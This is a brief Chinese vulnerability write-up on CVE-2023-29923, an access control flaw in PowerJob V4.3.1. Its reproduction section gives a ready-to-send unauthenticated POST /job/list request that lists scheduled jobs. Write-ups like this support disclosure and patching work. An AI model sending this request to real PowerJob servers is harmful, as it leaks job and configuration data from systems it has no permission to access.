PowerJob信息泄漏漏洞(CVE-2023-29923)

一、漏洞简介

PowerJob是一个开源分布式计算和作业调度框架,它允许开发人员在自己的应用程序中轻松调度任务。PowerJob V4.3.1版本存在安全漏洞,该漏洞源于存在不正确访问控制。

二、影响版本

三、资产测绘

1707132393105-46d6ce0f-8016-4a1d-a308-ac83ac3d0f6d.png

四、漏洞复现

POST /job/list HTTP/1.1
Host: 
Connection: close
Content-Length: 69
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36


{
        "appId":1,
        "index":0,
        "pageSize":10
}

1707132481225-23a54101-d385-47d4-b739-42c3ec090ad9.png

更新: 2024-02-29 23:55:41
原文: https://www.yuque.com/xiaokp7/ocvun2/mcit5dukx60xrcrx